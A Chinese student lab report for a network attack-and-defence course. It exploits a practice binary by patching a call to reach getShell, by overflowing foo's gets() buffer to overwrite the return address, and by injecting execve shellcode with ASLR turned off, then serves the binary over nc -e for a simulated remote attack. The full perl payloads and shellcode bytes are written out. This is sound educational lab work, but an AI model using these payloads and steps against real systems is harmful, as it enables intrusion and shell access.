20222304 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容
1.1本周学习内容
1)反汇编
反汇编是指将计算机程序的机器代码转换回其相应的汇编代码的过程。在计算机编程和逆向工程领域中,反汇编是一种常见的技术,用于理解和分析二进制程序的功能和内部结构。
通常情况下,程序员编写的源代码会被编译器转换成机器码,这是计算机可以直接执行的二进制形式。然而,有时需要查看或修改程序的行为,但却无法获得源代码。在这种情况下,可以使用反汇编工具将机器码转换回
汇编代码,以便程序员可以理解程序的工作原理,并进行必要的修改或分析。
2)缓冲区溢出
缓冲区溢出是一种常见的计算机安全漏洞,指的是当程序试图向一个固定大小的缓冲区写入超过其容量的数据时所发生的情况。这可能导致程序的行为异常甚至崩溃,甚至可能被利用来执行恶意代码。
3)缓冲区溢出的原因
未正确验证输入数据的长度:
如果程序在接受输入数据时没有对其长度进行正确的检查,攻击者可以输入比缓冲区容量更大的数据,从而导致溢出。
使用不安全的函数:
某些 C/C++ 函数(如 gets()、strcpy() 等)没有对目标缓冲区的大小进行验证,因此可能导致溢出。
4)堆栈溢出:
在函数调用时,局部变量通常存储在栈上。如果函数没有正确地管理栈上的变量,攻击者可能会覆盖栈上的返回地址或其他重要数据,以执行恶意代码。
1.2实验目标
1) 本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入
运行任何Shellcode。
2)三个实践内容如下:
①手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
②利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程
1)实验环境及工具
虚拟机环境 kali系统
2)实验步骤
(1)直接修改程序机器指令,改变程序执行流程,直接跳转到getShell函数。
打开kali的终端,并进入pwn1所在的文件夹,输入objdump -d 20222304 | more命令反汇编文件。在反汇编后的内容中寻找getshell函数、foo函数和main函数。
如图:
从给出的实验指导书中可知,在main函数中的内选中部分的call 8048491 是指调用foo函数,其中8048491便是入口地址,对应的十六进制指令是e8 d7 ff ff ff,e8是跳转的意思,所以要修改e8后面的地址,改为c3 ff ff ff,让代码直接跳转至getshell的函数入口。
确定要完成的操作便是需要对e8 d7进行修改,首先对pwn1进行复制备份,代码为:cp 20222304 pwn2以防被破坏,然后输入vi pwn2对文件进行修改。
但是这样的复杂代码看不懂,需要按esc键后再输入:%!xxd将其变为16进制。
然后找到e8 d7所在的位置,然后按i进行修改,将其修改为e8 c3
如图:
然后需要输入:%!xxd -r 还原为原格式,然后:wq保存并退出。
然后可以输入 objdump -d 20222304 | more 定位过去验证已经成功修改。
如图:
然后运行./pwn2,会得到shell提示符
如图:
(2)了解程序的基本功能,并确定输入字符串哪几个字符会覆盖返回地址。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入 objdump -d 20222304| more查看20222304文件调用foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。
然后安装gdb,输入gdb 20222304对文件20222304进行调试,再输入r运行。
如图:
然后输入1111111122222222333333334444444455555555,来查看缓冲区溢出对返回地址的覆盖。
然后输入 info r发现eip中的内容被覆盖为0x35353535。继续尝试之后发现第33~36个字节将会覆盖eip的内容。所以只需要将这四个字符替换为getshell的内存地址,就可以运行getshell
如图:
如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那只要把这四个字符替换为 getShell 的内存地址,输给 20222304,20222304就会运行getShell。
如图:
在第一步中已知getshell的内存地址为0x804847d,通过测试可知需要将内存地址反着输入。
所以需要输入字符串111111112222222233333333\x7d\x84\04\08\0a。输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,将其生成十六进制字符串文件。
再输入xxd input查看是否成功。
接着输入(cat input; cat) | ./20222304。
如图:
(3)注入Shellcode并执行
第一步完成准备工作,即设置堆栈可执行,查询文件的堆栈是否可执行等操作。
但是此处会出现问题,即execstack这个指令提示不存在,并且apt get install execstack也无法安装。
所以决定外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,最终安装成功。
如图:
将20222304的堆栈设置为可执行,并查询。
然后再输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化,再次查询地址随机化的状态为关闭。
过程图如上
将shellcode生成一个可执行文件。输入代码perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打开一个终端注入这段攻击buf。输入(cat input_shellcode;cat) | ./20222304
如图:
再开另外一个终端,用gdb来调试20222304这个进程
//1.找20222304的进程号
输入代码:ps -ef | grep 20222304
找到为进程号:168418
//2.用gdb调试这个进程
输入代码:gdb
//3.通过设置断点,来查看注入buf的内存地址
输入代码:disassemble foo
break *0x080484ae
c
如图:
但是!!!出现错误跳入坑内....
!!!所以只能从头再来
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为20222304的输入:(cat input_shellcode; cat) | ./20222304
如图:
新打开一个新终端,输入ps -ef | grep 20222304,查看20222304文件的进程以及进程号。
如图:
可以看到,进程号分别为175864和176184,但是175864才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb 20222304,来获取foo函数中returnaddress的位置。
输入命令attach 175864,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd3bc
如图:
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd3bc+4=0xffffd3c0
如图:
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd3c0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./20222304,将input_shellcode的输入内容作为20222304的输入。
如图:
(4)结合nc模拟远程攻击
先查找出自己的ip地址:ipconfig。
主机1,模拟一个有漏洞的网络服务:nc -l 192.168.31.125 -p 28234 -e ./20222304
如图:
主机2,连接主机1并发送攻击载荷:(cat input_shellcode; cat) | nc 192.168.31.125 28234
如图:
输入shell指令就可以:ls。完成显示
如图:
3.问题及解决方案

  • 问题1:关于gdb的安装
    如图:
  • 问题1解决方案:根据指导书无法进行下去后查阅资料和询问同学可知安装路径
  • 问题2:4.2准备工作中的execstack无法安装
  • 问题2解决方案:通过寻求同学帮助得知可以用外部安装包导入,直接实现安装execstack
    如图:
  • 问题3:在第三步进行shellcode的注入的时候,当时没理解指导书所表达含义匆匆复制粘贴代码,导致在变化时候没加4出现错误
    -问题3解决方案:通过求助同学,重新理解注入攻击过程
    4.学习感悟、思考等
    通过本次实验,让我对反汇编的操作有了更深入的理解,了解到这种技术的强大,同时也对缓冲区溢出攻击的理解更加深入,以前总是停留在表面,本次实验,让我切实的知道了缓冲区溢出攻击的具体操作,整体的实验难度不是特别的大,但是涉及了许多的新知识,比较陌生,但是收获也是很多。让我对Linux的各种指令更加理解,对gdb和execstack等工具也有了更多的了解。但是仍有很多地方存在不足,以后将会继续学习,不断努力。

参考资料

安装execstack软件网址 http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

posted @ 2024-10-10 21:12  Amlyl  阅读(16)  评论(0编辑  收藏  举报